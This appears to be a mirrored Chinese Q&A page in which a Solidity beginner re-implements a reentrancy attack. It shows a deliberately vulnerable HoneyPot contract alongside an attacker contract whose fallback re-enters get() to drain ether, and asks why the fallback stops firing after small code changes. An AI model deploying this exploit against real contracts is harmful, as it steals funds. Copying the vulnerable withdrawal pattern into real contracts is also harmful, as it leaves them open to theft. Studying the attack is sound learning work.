首页 > 解决方案 > 返回类型从 void 更改为 bool 后,未调用后备函数

问题描述

我在坚固性方面很新。我正在尝试重新实现重入攻击。

我通过下面的智能合约得到了这个工作。


// import "./HoneyPot.sol";
contract HoneyPotCollect {

  HoneyPot public honeypot;
  event logString(string);
  event logfallback(uint, uint);
  address honeypot_addr;
  constructor (address _honeypot) public {
    honeypot = HoneyPot(_honeypot);
    honeypot_addr = _honeypot; 
  }
  function kill () public{
    selfdestruct(msg.sender);
  }
  function collect() public payable {
    honeypot.put.value(msg.value)();
    bool res = honeypot.get();
  }
  function () external payable {
     uint balance = honeypot.balances(msg.sender);

     emit logfallback(honeypot_addr.balance, msg.value);
    if (honeypot_addr.balance > msg.value) {
        emit logString("callback");
        bool res = honeypot.get();
    }
  }
}



contract HoneyPot {
  mapping (address => uint) public balances;
  constructor() public payable {
    put();
  }
  function put() public payable {
    balances[msg.sender] = msg.value;
  }
  function get() public payable {
      (bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
      require(succ);
      balances[msg.sender] = 0;
  }

}

然而。在我更改了代码的第二部分之后,即合约 HoneyPot。当我在 HoneyPotCollect 中调用函数 collect() 时,我无法调用 HoneyPotCollect 的后备函数。

改变只是让 HoneyPot 中的 get() 函数返回 bool 类型。

contract HoneyPot {
  mapping (address => uint) public balances;
  constructor() public payable {
    put();
  }
  function put() public payable {
    balances[msg.sender] = msg.value;
  }
  function get() public payable returns (bool success) {
      (bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
      require(succ);
      balances[msg.sender] = 0;
      return true;
  }

}

Edit1:我刚刚发现解决方案是将两个合同组合在一个文件中。问题消失了。然而,还有另一个问题。如果我评论该行,也不会调用回退功能。

require(succ)

整个代码是这样的:

contract HoneyPot {
  mapping (address => uint) public balances;
  constructor() public payable {
    put();
  }
  function put() public payable {
    balances[msg.sender] = msg.value;
  }
  function get() public payable returns (bool success) {
      (bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
      //require(succ);
      balances[msg.sender] = 0;
      return true;
  }

}

请帮忙!提前致谢。

标签: soliditysmartcontracts

解决方案


推荐阅读